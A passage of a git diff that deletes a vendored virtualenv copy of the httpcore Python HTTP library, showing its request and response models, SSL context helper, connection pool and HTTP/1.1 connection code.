-> bool: - return ( - isinstance(other, URL) - and other.scheme == self.scheme - and other.host == self.host - and other.port == self.port - and other.target == self.target - ) - - def __bytes__(self) -> bytes: - if self.port is None: - return b"%b://%b%b" % (self.scheme, self.host, self.target) - return b"%b://%b:%d%b" % (self.scheme, self.host, self.port, self.target) - - def __repr__(self) -> str: - return ( - f"{self.__class__.__name__}(scheme={self.scheme!r}, " - f"host={self.host!r}, port={self.port!r}, target={self.target!r})" - ) - - -class Request: - """ - An HTTP request. - """ - - def __init__( - self, - method: bytes | str, - url: URL | bytes | str, - *, - headers: HeaderTypes = None, - content: bytes - | typing.Iterable[bytes] - | typing.AsyncIterable[bytes] - | None = None, - extensions: Extensions | None = None, - ) -> None: - """ - Parameters: - method: The HTTP request method, either as a string or bytes. - For example: `GET`. - url: The request URL, either as a `URL` instance, or as a string or bytes. - For example: `"https://www.example.com".` - headers: The HTTP request headers. - content: The content of the request body. - extensions: A dictionary of optional extra information included on - the request. Possible keys include `"timeout"`, and `"trace"`. - """ - self.method: bytes = enforce_bytes(method, name="method") - self.url: URL = enforce_url(url, name="url") - self.headers: list[tuple[bytes, bytes]] = enforce_headers( - headers, name="headers" - ) - self.stream: typing.Iterable[bytes] | typing.AsyncIterable[bytes] = ( - enforce_stream(content, name="content") - ) - self.extensions = {} if extensions is None else extensions - - if "target" in self.extensions: - self.url = URL( - scheme=self.url.scheme, - host=self.url.host, - port=self.url.port, - target=self.extensions["target"], - ) - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.method!r}]>" - - -class Response: - """ - An HTTP response. - """ - - def __init__( - self, - status: int, - *, - headers: HeaderTypes = None, - content: bytes - | typing.Iterable[bytes] - | typing.AsyncIterable[bytes] - | None = None, - extensions: Extensions | None = None, - ) -> None: - """ - Parameters: - status: The HTTP status code of the response. For example `200`. - headers: The HTTP response headers. - content: The content of the response body. - extensions: A dictionary of optional extra information included on - the responseself.Possible keys include `"http_version"`, - `"reason_phrase"`, and `"network_stream"`. - """ - self.status: int = status - self.headers: list[tuple[bytes, bytes]] = enforce_headers( - headers, name="headers" - ) - self.stream: typing.Iterable[bytes] | typing.AsyncIterable[bytes] = ( - enforce_stream(content, name="content") - ) - self.extensions = {} if extensions is None else extensions - - self._stream_consumed = False - - @property - def content(self) -> bytes: - if not hasattr(self, "_content"): - if isinstance(self.stream, typing.Iterable): - raise RuntimeError( - "Attempted to access 'response.content' on a streaming response. " - "Call 'response.read()' first." - ) - else: - raise RuntimeError( - "Attempted to access 'response.content' on a streaming response. " - "Call 'await response.aread()' first." - ) - return self._content - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.status}]>" - - # Sync interface... - - def read(self) -> bytes: - if not isinstance(self.stream, typing.Iterable): # pragma: nocover - raise RuntimeError( - "Attempted to read an asynchronous response using 'response.read()'. " - "You should use 'await response.aread()' instead." - ) - if not hasattr(self, "_content"): - self._content = b"".join([part for part in self.iter_stream()]) - return self._content - - def iter_stream(self) -> typing.Iterator[bytes]: - if not isinstance(self.stream, typing.Iterable): # pragma: nocover - raise RuntimeError( - "Attempted to stream an asynchronous response using 'for ... in " - "response.iter_stream()'. " - "You should use 'async for ... in response.aiter_stream()' instead." - ) - if self._stream_consumed: - raise RuntimeError( - "Attempted to call 'for ... in response.iter_stream()' more than once." - ) - self._stream_consumed = True - for chunk in self.stream: - yield chunk - - def close(self) -> None: - if not isinstance(self.stream, typing.Iterable): # pragma: nocover - raise RuntimeError( - "Attempted to close an asynchronous response using 'response.close()'. " - "You should use 'await response.aclose()' instead." - ) - if hasattr(self.stream, "close"): - self.stream.close() - - # Async interface... - - async def aread(self) -> bytes: - if not isinstance(self.stream, typing.AsyncIterable): # pragma: nocover - raise RuntimeError( - "Attempted to read an synchronous response using " - "'await response.aread()'. " - "You should use 'response.read()' instead." - ) - if not hasattr(self, "_content"): - self._content = b"".join([part async for part in self.aiter_stream()]) - return self._content - - async def aiter_stream(self) -> typing.AsyncIterator[bytes]: - if not isinstance(self.stream, typing.AsyncIterable): # pragma: nocover - raise RuntimeError( - "Attempted to stream an synchronous response using 'async for ... in " - "response.aiter_stream()'. " - "You should use 'for ... in response.iter_stream()' instead." - ) - if self._stream_consumed: - raise RuntimeError( - "Attempted to call 'async for ... in response.aiter_stream()' " - "more than once." - ) - self._stream_consumed = True - async for chunk in self.stream: - yield chunk - - async def aclose(self) -> None: - if not isinstance(self.stream, typing.AsyncIterable): # pragma: nocover - raise RuntimeError( - "Attempted to close a synchronous response using " - "'await response.aclose()'. " - "You should use 'response.close()' instead." - ) - if hasattr(self.stream, "aclose"): - await self.stream.aclose() - - -class Proxy: - def __init__( - self, - url: URL | bytes | str, - auth: tuple[bytes | str, bytes | str] | None = None, - headers: HeadersAsMapping | HeadersAsSequence | None = None, - ssl_context: ssl.SSLContext | None = None, - ): - self.url = enforce_url(url, name="url") - self.headers = enforce_headers(headers, name="headers") - self.ssl_context = ssl_context - - if auth is not None: - username = enforce_bytes(auth[0], name="auth") - password = enforce_bytes(auth[1], name="auth") - userpass = username + b":" + password - authorization = b"Basic " + base64.b64encode(userpass) - self.auth: tuple[bytes, bytes] | None = (username, password) - self.headers = [(b"Proxy-Authorization", authorization)] + self.headers - else: - self.auth = None diff --git a/venv/Lib/site-packages/httpcore/_ssl.py b/venv/Lib/site-packages/httpcore/_ssl.py deleted file mode 100644 index c99c5a67945b8a3a3544d481e979c791ab45fe23..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_ssl.py +++ /dev/null @@ -1,9 +0,0 @@ -import ssl - -import certifi - - -def default_ssl_context() -> ssl.SSLContext: - context = ssl.create_default_context() - context.load_verify_locations(certifi.where()) - return context diff --git a/venv/Lib/site-packages/httpcore/_sync/__init__.py b/venv/Lib/site-packages/httpcore/_sync/__init__.py deleted file mode 100644 index b476d76d9a7ff45de8d18ec22d33d6af2982f92e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_sync/__init__.py +++ /dev/null @@ -1,39 +0,0 @@ -from .connection import HTTPConnection -from .connection_pool import ConnectionPool -from .http11 import HTTP11Connection -from .http_proxy import HTTPProxy -from .interfaces import ConnectionInterface - -try: - from .http2 import HTTP2Connection -except ImportError: # pragma: nocover - - class HTTP2Connection: # type: ignore - def __init__(self, *args, **kwargs) -> None: # type: ignore - raise RuntimeError( - "Attempted to use http2 support, but the `h2` package is not " - "installed. Use 'pip install httpcore[http2]'." - ) - - -try: - from .socks_proxy import SOCKSProxy -except ImportError: # pragma: nocover - - class SOCKSProxy: # type: ignore - def __init__(self, *args, **kwargs) -> None: # type: ignore - raise RuntimeError( - "Attempted to use SOCKS support, but the `socksio` package is not " - "installed. Use 'pip install httpcore[socks]'." - ) - - -__all__ = [ - "HTTPConnection", - "ConnectionPool", - "HTTPProxy", - "HTTP11Connection", - "HTTP2Connection", - "ConnectionInterface", - "SOCKSProxy", -] diff --git a/venv/Lib/site-packages/httpcore/_sync/connection.py b/venv/Lib/site-packages/httpcore/_sync/connection.py deleted file mode 100644 index 363f8be819d2576ea65365e625dd1596ea40429a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_sync/connection.py +++ /dev/null @@ -1,222 +0,0 @@ -from __future__ import annotations - -import itertools -import logging -import ssl -import types -import typing - -from .._backends.sync import SyncBackend -from .._backends.base import SOCKET_OPTION, NetworkBackend, NetworkStream -from .._exceptions import ConnectError, ConnectTimeout -from .._models import Origin, Request, Response -from .._ssl import default_ssl_context -from .._synchronization import Lock -from .._trace import Trace -from .http11 import HTTP11Connection -from .interfaces import ConnectionInterface - -RETRIES_BACKOFF_FACTOR = 0.5 # 0s, 0.5s, 1s, 2s, 4s, etc. - - -logger = logging.getLogger("httpcore.connection") - - -def exponential_backoff(factor: float) -> typing.Iterator[float]: - """ - Generate a geometric sequence that has a ratio of 2 and starts with 0. - - For example: - - `factor = 2`: `0, 2, 4, 8, 16, 32, 64, ...` - - `factor = 3`: `0, 3, 6, 12, 24, 48, 96, ...` - """ - yield 0 - for n in itertools.count(): - yield factor * 2**n - - -class HTTPConnection(ConnectionInterface): - def __init__( - self, - origin: Origin, - ssl_context: ssl.SSLContext | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - retries: int = 0, - local_address: str | None = None, - uds: str | None = None, - network_backend: NetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - self._origin = origin - self._ssl_context = ssl_context - self._keepalive_expiry = keepalive_expiry - self._http1 = http1 - self._http2 = http2 - self._retries = retries - self._local_address = local_address - self._uds = uds - - self._network_backend: NetworkBackend = ( - SyncBackend() if network_backend is None else network_backend - ) - self._connection: ConnectionInterface | None = None - self._connect_failed: bool = False - self._request_lock = Lock() - self._socket_options = socket_options - - def handle_request(self, request: Request) -> Response: - if not self.can_handle_request(request.url.origin): - raise RuntimeError( - f"Attempted to send request to {request.url.origin} on connection to {self._origin}" - ) - - try: - with self._request_lock: - if self._connection is None: - stream = self._connect(request) - - ssl_object = stream.get_extra_info("ssl_object") - http2_negotiated = ( - ssl_object is not None - and ssl_object.selected_alpn_protocol() == "h2" - ) - if http2_negotiated or (self._http2 and not self._http1): - from .http2 import HTTP2Connection - - self._connection = HTTP2Connection( - origin=self._origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - else: - self._connection = HTTP11Connection( - origin=self._origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - except BaseException as exc: - self._connect_failed = True - raise exc - - return self._connection.handle_request(request) - - def _connect(self, request: Request) -> NetworkStream: - timeouts = request.extensions.get("timeout", {}) - sni_hostname = request.extensions.get("sni_hostname", None) - timeout = timeouts.get("connect", None) - - retries_left = self._retries - delays = exponential_backoff(factor=RETRIES_BACKOFF_FACTOR) - - while True: - try: - if self._uds is None: - kwargs = { - "host": self._origin.host.decode("ascii"), - "port": self._origin.port, - "local_address": self._local_address, - "timeout": timeout, - "socket_options": self._socket_options, - } - with Trace("connect_tcp", logger, request, kwargs) as trace: - stream = self._network_backend.connect_tcp(**kwargs) - trace.return_value = stream - else: - kwargs = { - "path": self._uds, - "timeout": timeout, - "socket_options": self._socket_options, - } - with Trace( - "connect_unix_socket", logger, request, kwargs - ) as trace: - stream = self._network_backend.connect_unix_socket( - **kwargs - ) - trace.return_value = stream - - if self._origin.scheme in (b"https", b"wss"): - ssl_context = ( - default_ssl_context() - if self._ssl_context is None - else self._ssl_context - ) - alpn_protocols = ["http/1.1", "h2"] if self._http2 else ["http/1.1"] - ssl_context.set_alpn_protocols(alpn_protocols) - - kwargs = { - "ssl_context": ssl_context, - "server_hostname": sni_hostname - or self._origin.host.decode("ascii"), - "timeout": timeout, - } - with Trace("start_tls", logger, request, kwargs) as trace: - stream = stream.start_tls(**kwargs) - trace.return_value = stream - return stream - except (ConnectError, ConnectTimeout): - if retries_left <= 0: - raise - retries_left -= 1 - delay = next(delays) - with Trace("retry", logger, request, kwargs) as trace: - self._network_backend.sleep(delay) - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._origin - - def close(self) -> None: - if self._connection is not None: - with Trace("close", logger, None, {}): - self._connection.close() - - def is_available(self) -> bool: - if self._connection is None: - # If HTTP/2 support is enabled, and the resulting connection could - # end up as HTTP/2 then we should indicate the connection as being - # available to service multiple requests. - return ( - self._http2 - and (self._origin.scheme == b"https" or not self._http1) - and not self._connect_failed - ) - return self._connection.is_available() - - def has_expired(self) -> bool: - if self._connection is None: - return self._connect_failed - return self._connection.has_expired() - - def is_idle(self) -> bool: - if self._connection is None: - return self._connect_failed - return self._connection.is_idle() - - def is_closed(self) -> bool: - if self._connection is None: - return self._connect_failed - return self._connection.is_closed() - - def info(self) -> str: - if self._connection is None: - return "CONNECTION FAILED" if self._connect_failed else "CONNECTING" - return self._connection.info() - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.info()}]>" - - # These context managers are not used in the standard flow, but are - # useful for testing or working with connection instances directly. - - def __enter__(self) -> HTTPConnection: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - self.close() diff --git a/venv/Lib/site-packages/httpcore/_sync/connection_pool.py b/venv/Lib/site-packages/httpcore/_sync/connection_pool.py deleted file mode 100644 index 9ccfa53e597a29ee387f9d16f3af4f695ac0d33a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_sync/connection_pool.py +++ /dev/null @@ -1,420 +0,0 @@ -from __future__ import annotations - -import ssl -import sys -import types -import typing - -from .._backends.sync import SyncBackend -from .._backends.base import SOCKET_OPTION, NetworkBackend -from .._exceptions import ConnectionNotAvailable, UnsupportedProtocol -from .._models import Origin, Proxy, Request, Response -from .._synchronization import Event, ShieldCancellation, ThreadLock -from .connection import HTTPConnection -from .interfaces import ConnectionInterface, RequestInterface - - -class PoolRequest: - def __init__(self, request: Request) -> None: - self.request = request - self.connection: ConnectionInterface | None = None - self._connection_acquired = Event() - - def assign_to_connection(self, connection: ConnectionInterface | None) -> None: - self.connection = connection - self._connection_acquired.set() - - def clear_connection(self) -> None: - self.connection = None - self._connection_acquired = Event() - - def wait_for_connection( - self, timeout: float | None = None - ) -> ConnectionInterface: - if self.connection is None: - self._connection_acquired.wait(timeout=timeout) - assert self.connection is not None - return self.connection - - def is_queued(self) -> bool: - return self.connection is None - - -class ConnectionPool(RequestInterface): - """ - A connection pool for making HTTP requests. - """ - - def __init__( - self, - ssl_context: ssl.SSLContext | None = None, - proxy: Proxy | None = None, - max_connections: int | None = 10, - max_keepalive_connections: int | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - retries: int = 0, - local_address: str | None = None, - uds: str | None = None, - network_backend: NetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - """ - A connection pool for making HTTP requests. - - Parameters: - ssl_context: An SSL context to use for verifying connections. - If not specified, the default `httpcore.default_ssl_context()` - will be used. - max_connections: The maximum number of concurrent HTTP connections that - the pool should allow. Any attempt to send a request on a pool that - would exceed this amount will block until a connection is available. - max_keepalive_connections: The maximum number of idle HTTP connections - that will be maintained in the pool. - keepalive_expiry: The duration in seconds that an idle HTTP connection - may be maintained for before being expired from the pool. - http1: A boolean indicating if HTTP/1.1 requests should be supported - by the connection pool. Defaults to True. - http2: A boolean indicating if HTTP/2 requests should be supported by - the connection pool. Defaults to False. - retries: The maximum number of retries when trying to establish a - connection. - local_address: Local address to connect from. Can also be used to connect - using a particular address family. Using `local_address="0.0.0.0"` - will connect using an `AF_INET` address (IPv4), while using - `local_address="::"` will connect using an `AF_INET6` address (IPv6). - uds: Path to a Unix Domain Socket to use instead of TCP sockets. - network_backend: A backend instance to use for handling network I/O. - socket_options: Socket options that have to be included - in the TCP socket when the connection was established. - """ - self._ssl_context = ssl_context - self._proxy = proxy - self._max_connections = ( - sys.maxsize if max_connections is None else max_connections - ) - self._max_keepalive_connections = ( - sys.maxsize - if max_keepalive_connections is None - else max_keepalive_connections - ) - self._max_keepalive_connections = min( - self._max_connections, self._max_keepalive_connections - ) - - self._keepalive_expiry = keepalive_expiry - self._http1 = http1 - self._http2 = http2 - self._retries = retries - self._local_address = local_address - self._uds = uds - - self._network_backend = ( - SyncBackend() if network_backend is None else network_backend - ) - self._socket_options = socket_options - - # The mutable state on a connection pool is the queue of incoming requests, - # and the set of connections that are servicing those requests. - self._connections: list[ConnectionInterface] = [] - self._requests: list[PoolRequest] = [] - - # We only mutate the state of the connection pool within an 'optional_thread_lock' - # context. This holds a threading lock unless we're running in async mode, - # in which case it is a no-op. - self._optional_thread_lock = ThreadLock() - - def create_connection(self, origin: Origin) -> ConnectionInterface: - if self._proxy is not None: - if self._proxy.url.scheme in (b"socks5", b"socks5h"): - from .socks_proxy import Socks5Connection - - return Socks5Connection( - proxy_origin=self._proxy.url.origin, - proxy_auth=self._proxy.auth, - remote_origin=origin, - ssl_context=self._ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - network_backend=self._network_backend, - ) - elif origin.scheme == b"http": - from .http_proxy import ForwardHTTPConnection - - return ForwardHTTPConnection( - proxy_origin=self._proxy.url.origin, - proxy_headers=self._proxy.headers, - proxy_ssl_context=self._proxy.ssl_context, - remote_origin=origin, - keepalive_expiry=self._keepalive_expiry, - network_backend=self._network_backend, - ) - from .http_proxy import TunnelHTTPConnection - - return TunnelHTTPConnection( - proxy_origin=self._proxy.url.origin, - proxy_headers=self._proxy.headers, - proxy_ssl_context=self._proxy.ssl_context, - remote_origin=origin, - ssl_context=self._ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - network_backend=self._network_backend, - ) - - return HTTPConnection( - origin=origin, - ssl_context=self._ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - retries=self._retries, - local_address=self._local_address, - uds=self._uds, - network_backend=self._network_backend, - socket_options=self._socket_options, - ) - - @property - def connections(self) -> list[ConnectionInterface]: - """ - Return a list of the connections currently in the pool. - - For example: - - ```python - >>> pool.connections - [ - , - , - , - ] - ``` - """ - return list(self._connections) - - def handle_request(self, request: Request) -> Response: - """ - Send an HTTP request, and return an HTTP response. - - This is the core implementation that is called into by `.request()` or `.stream()`. - """ - scheme = request.url.scheme.decode() - if scheme == "": - raise UnsupportedProtocol( - "Request URL is missing an 'http://' or 'https://' protocol." - ) - if scheme not in ("http", "https", "ws", "wss"): - raise UnsupportedProtocol( - f"Request URL has an unsupported protocol '{scheme}://'." - ) - - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("pool", None) - - with self._optional_thread_lock: - # Add the incoming request to our request queue. - pool_request = PoolRequest(request) - self._requests.append(pool_request) - - try: - while True: - with self._optional_thread_lock: - # Assign incoming requests to available connections, - # closing or creating new connections as required. - closing = self._assign_requests_to_connections() - self._close_connections(closing) - - # Wait until this request has an assigned connection. - connection = pool_request.wait_for_connection(timeout=timeout) - - try: - # Send the request on the assigned connection. - response = connection.handle_request( - pool_request.request - ) - except ConnectionNotAvailable: - # In some cases a connection may initially be available to - # handle a request, but then become unavailable. - # - # In this case we clear the connection and try again. - pool_request.clear_connection() - else: - break # pragma: nocover - - except BaseException as exc: - with self._optional_thread_lock: - # For any exception or cancellation we remove the request from - # the queue, and then re-assign requests to connections. - self._requests.remove(pool_request) - closing = self._assign_requests_to_connections() - - self._close_connections(closing) - raise exc from None - - # Return the response. Note that in this case we still have to manage - # the point at which the response is closed. - assert isinstance(response.stream, typing.Iterable) - return Response( - status=response.status, - headers=response.headers, - content=PoolByteStream( - stream=response.stream, pool_request=pool_request, pool=self - ), - extensions=response.extensions, - ) - - def _assign_requests_to_connections(self) -> list[ConnectionInterface]: - """ - Manage the state of the connection pool, assigning incoming - requests to connections as available. - - Called whenever a new request is added or removed from the pool. - - Any closing connections are returned, allowing the I/O for closing - those connections to be handled seperately. - """ - closing_connections = [] - - # First we handle cleaning up any connections that are closed, - # have expired their keep-alive, or surplus idle connections. - for connection in list(self._connections): - if connection.is_closed(): - # log: "removing closed connection" - self._connections.remove(connection) - elif connection.has_expired(): - # log: "closing expired connection" - self._connections.remove(connection) - closing_connections.append(connection) - elif ( - connection.is_idle() - and len([connection.is_idle() for connection in self._connections]) - > self._max_keepalive_connections - ): - # log: "closing idle connection" - self._connections.remove(connection) - closing_connections.append(connection) - - # Assign queued requests to connections. - queued_requests = [request for request in self._requests if request.is_queued()] - for pool_request in queued_requests: - origin = pool_request.request.url.origin - available_connections = [ - connection - for connection in self._connections - if connection.can_handle_request(origin) and connection.is_available() - ] - idle_connections = [ - connection for connection in self._connections if connection.is_idle() - ] - - # There are three cases for how we may be able to handle the request: - # - # 1. There is an existing connection that can handle the request. - # 2. We can create a new connection to handle the request. - # 3. We can close an idle connection and then create a new connection - # to handle the request. - if available_connections: - # log: "reusing existing connection" - connection = available_connections[0] - pool_request.assign_to_connection(connection) - elif len(self._connections) < self._max_connections: - # log: "creating new connection" - connection = self.create_connection(origin) - self._connections.append(connection) - pool_request.assign_to_connection(connection) - elif idle_connections: - # log: "closing idle connection" - connection = idle_connections[0] - self._connections.remove(connection) - closing_connections.append(connection) - # log: "creating new connection" - connection = self.create_connection(origin) - self._connections.append(connection) - pool_request.assign_to_connection(connection) - - return closing_connections - - def _close_connections(self, closing: list[ConnectionInterface]) -> None: - # Close connections which have been removed from the pool. - with ShieldCancellation(): - for connection in closing: - connection.close() - - def close(self) -> None: - # Explicitly close the connection pool. - # Clears all existing requests and connections. - with self._optional_thread_lock: - closing_connections = list(self._connections) - self._connections = [] - self._close_connections(closing_connections) - - def __enter__(self) -> ConnectionPool: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - self.close() - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - with self._optional_thread_lock: - request_is_queued = [request.is_queued() for request in self._requests] - connection_is_idle = [ - connection.is_idle() for connection in self._connections - ] - - num_active_requests = request_is_queued.count(False) - num_queued_requests = request_is_queued.count(True) - num_active_connections = connection_is_idle.count(False) - num_idle_connections = connection_is_idle.count(True) - - requests_info = ( - f"Requests: {num_active_requests} active, {num_queued_requests} queued" - ) - connection_info = ( - f"Connections: {num_active_connections} active, {num_idle_connections} idle" - ) - - return f"<{class_name} [{requests_info} | {connection_info}]>" - - -class PoolByteStream: - def __init__( - self, - stream: typing.Iterable[bytes], - pool_request: PoolRequest, - pool: ConnectionPool, - ) -> None: - self._stream = stream - self._pool_request = pool_request - self._pool = pool - self._closed = False - - def __iter__(self) -> typing.Iterator[bytes]: - try: - for part in self._stream: - yield part - except BaseException as exc: - self.close() - raise exc from None - - def close(self) -> None: - if not self._closed: - self._closed = True - with ShieldCancellation(): - if hasattr(self._stream, "close"): - self._stream.close() - - with self._pool._optional_thread_lock: - self._pool._requests.remove(self._pool_request) - closing = self._pool._assign_requests_to_connections() - - self._pool._close_connections(closing) diff --git a/venv/Lib/site-packages/httpcore/_sync/http11.py b/venv/Lib/site-packages/httpcore/_sync/http11.py deleted file mode 100644 index ebd3a97480c720d418acb1285a7b75da19b62c8c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_sync/http11.py +++ /dev/null @@ -1,379 +0,0 @@ -from __future__ import annotations - -import enum -import logging -import ssl -import time -import types -import typing - -import h11 - -from .._backends.base import NetworkStream -from .._exceptions import ( - ConnectionNotAvailable, - LocalProtocolError, - RemoteProtocolError, - WriteError, - map_exceptions, -) -from .._models import Origin, Request, Response -from .._synchronization import Lock, ShieldCancellation -from .._trace import Trace -from .interfaces import ConnectionInterface - -logger = logging.getLogger("httpcore.http11") - - -# A subset of `h11.Event` types supported by `_send_event` -H11SendEvent = typing.Union[ - h11.Request, - h11.Data, - h11.EndOfMessage, -] - - -class HTTPConnectionState(enum.IntEnum): - NEW = 0 - ACTIVE = 1 - IDLE = 2 - CLOSED = 3 - - -class HTTP11Connection(ConnectionInterface): - READ_NUM_BYTES = 64 * 1024 - MAX_INCOMPLETE_EVENT_SIZE = 100 * 1024 - - def __init__( - self, - origin: Origin, - stream: NetworkStream, - keepalive_expiry: float | None = None, - ) -> None: - self._origin = origin - self._network_stream = stream - self._keepalive_expiry: float | None = keepalive_expiry - self._expire_at: float | None = None - self._state = HTTPConnectionState.NEW - self._state_lock = Lock() - self._request_count = 0 - self._h11_state = h11.Connection( - our_role=h11.CLIENT, - max_incomplete_event_size=self.MAX_INCOMPLETE_EVENT_SIZE, - ) - - def handle_request(self, request: Request) -> Response: - if not self.can_handle_request(request.url.origin): - raise RuntimeError( - f"Attempted to send request to {request.url.origin} on connection " - f"to {self._origin}" - ) - - with self._state_lock: - if self._state in (HTTPConnectionState.NEW, HTTPConnectionState.IDLE): - self._request_count += 1 - self._state = HTTPConnectionState.ACTIVE - self._expire_at = None - else: - raise ConnectionNotAvailable() - - try: - kwargs = {"request": request} - try: - with Trace( - "send_request_headers", logger, request, kwargs - ) as trace: - self._send_request_headers(**kwargs) - with Trace("send_request_body", logger, request, kwargs) as trace: - self._send_request_body(**kwargs) - except WriteError: - # If we get a write error while we're writing the request, - # then we supress this error and move on to attempting to - # read the response. Servers can sometimes close the request - # pre-emptively and then respond with a well formed HTTP - # error response. - pass - - with Trace( - "receive_response_headers", logger, request, kwargs - ) as trace: - ( - http_version, - status, - reason_phrase, - headers, - trailing_data, - ) = self._receive_response_headers(**kwargs) - trace.return_value = ( - http_version, - status, - reason_phrase, - headers, - ) - - network_stream = self._network_stream - - # CONNECT or Upgrade request - if (status == 101) or ( - (request.method == b"CONNECT") and (200 <= status < 300) - ): - network_stream = HTTP11UpgradeStream(network_stream, trailing_data) - - return Response( - status=status, - headers=headers, - content=HTTP11ConnectionByteStream(self, request), - extensions={ - "http_version": http_version, - "reason_phrase": reason_phrase, - "network_stream": network_stream, - }, - ) - except BaseException as exc: - with ShieldCancellation(): - with Trace("response_closed", logger, request) as trace: - self._response_closed() - raise exc - - # Sending the request... - - def _send_request_headers(self, request: Request) -> None: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("write", None) - - with map_exceptions({h11.LocalProtocolError: LocalProtocolError}): - event = h11.Request( - method=request.method, - target=request.url.target, - headers=request.headers, - ) - self._send_event(event, timeout=timeout) - - def _send_request_body(self, request: Request) -> None: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("write", None) - - assert isinstance(request.stream, typing.Iterable) - for chunk in request.stream: - event = h11.Data(data=chunk) - self._send_event(event, timeout=timeout) - - self._send_event(h11.EndOfMessage(), timeout=timeout) - - def _send_event(self, event: h11.Event, timeout: float | None = None) -> None: - bytes_to_send = self._h11_state.send(event) - if bytes_to_send is not None: - self._network_stream.write(bytes_to_send, timeout=timeout) - - # Receiving the response... - - def _receive_response_headers( - self, request: Request - ) -> tuple[bytes, int, bytes, list[tuple[bytes, bytes]], bytes]: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("read", None) - - while True: - event = self._receive_event(timeout=timeout) - if isinstance(event, h11.Response): - break - if ( - isinstance(event, h11.InformationalResponse) - and event.status_code == 101 - ): - break - - http_version = b"HTTP/" + event.http_version - - # h11 version 0.11+ supports a `raw_items` interface to get the - # raw header casing, rather than the enforced lowercase headers. - headers = event.headers.raw_items() - - trailing_data, _ = self._h11_state.trailing_data - - return http_version, event.status_code, event.reason, headers, trailing_data - - def _receive_response_body( - self, request: Request - ) -> typing.Iterator[bytes]: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("read", None) - - while True: - event = self._receive_event(timeout=timeout) - if isinstance(event, h11.Data): - yield bytes(event.data) - elif isinstance(event, (h11.EndOfMessage, h11.PAUSED)): - break - - def _receive_event( - self, timeout: float | None = None - ) -> h11.Event | type[h11.PAUSED]: - while True: - with map_exceptions({h11.RemoteProtocolError: RemoteProtocolError}): - event = self._h11_state.next_event() - - if event is h11.NEED_DATA: - data = self._network_stream.read( - self.READ_NUM_BYTES, timeout=timeout - ) - - # If we feed this case through h11 we'll raise an exception like: - # - # httpcore.RemoteProtocolError: can't handle event type - # ConnectionClosed when role=SERVER and state=SEND_RESPONSE - # - # Which is accurate, but not very informative from an end-user - # perspective. Instead we handle this case distinctly and treat - # it as a ConnectError. - if data == b"" and self._h11_state.their_state == h11.SEND_RESPONSE: - msg = "Server disconnected without sending a response." - raise RemoteProtocolError(msg) - - self._h11_state.receive_data(data) - else: - # mypy fails to narrow the type in the above if statement above - return event # type: ignore[return-value] - - def _response_closed(self) -> None: - with self._state_lock: - if ( - self._h11_state.our_state is h11.DONE - and self._h11_state.their_state is h11.DONE - ): - self._state = HTTPConnectionState.IDLE - self._h11_state.start_next_cycle() - if self._keepalive_expiry is not None: - now = time.monotonic() - self._expire_at = now + self._keepalive_expiry - else: - self.close() - - # Once the connection is no longer required... - - def close(self) -> None: - # Note that this method unilaterally closes the connection, and does - # not have any kind of locking in place around it. - self._state = HTTPConnectionState.CLOSED - self._network_stream.close() - - # The ConnectionInterface methods provide information about the state of - # the connection, allowing for a connection pooling implementation to - # determine when to reuse and when to close the connection... - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._origin - - def is_available(self) -> bool: - # Note that HTTP/1.1 connections in the "NEW" state are not treated as - # being "available". The control flow which created the connection will - # be able to send an outgoing request, but the connection will not be - # acquired from the connection pool for any other request. - return self._state == HTTPConnectionState.IDLE - - def has_expired(self) -> bool: - now = time.monotonic() - keepalive_expired = self._expire_at is not None and now > self._expire_at - - # If the HTTP connection is idle but the socket is readable, then the - # only valid state is that the socket is about to return b"", indicating - # a server-initiated disconnect. - server_disconnected = ( - self._state == HTTPConnectionState.IDLE - and self._network_stream.get_extra_info("is_readable") - ) - - return keepalive_expired or server_disconnected - - def is_idle(self) -> bool: - return self._state == HTTPConnectionState.IDLE - - def is_closed(self) -> bool: - return self._state == HTTPConnectionState.CLOSED - - def info(self) -> str: - origin = str(self._origin) - return ( - f"{origin!r}, HTTP/1.1, {self._state.name}, " - f"Request Count: {self._request_count}" - ) - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - origin = str(self._origin) - return ( - f"<{class_name} [{origin!r}, {self._state.name}, " - f"Request Count: {self._request_count}]>" - ) - - # These context managers are not used in the standard flow, but are - # useful for testing or working with connection instances directly. - - def __enter__(self) -> HTTP11Connection: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - self.close() - - -class HTTP11ConnectionByteStream: - def __init__(self, connection: HTTP11Connection, request: Request) -> None: - self._connection = connection - self._request = request - self._closed = False - - def __iter__(self) -> typing.Iterator[bytes]: - 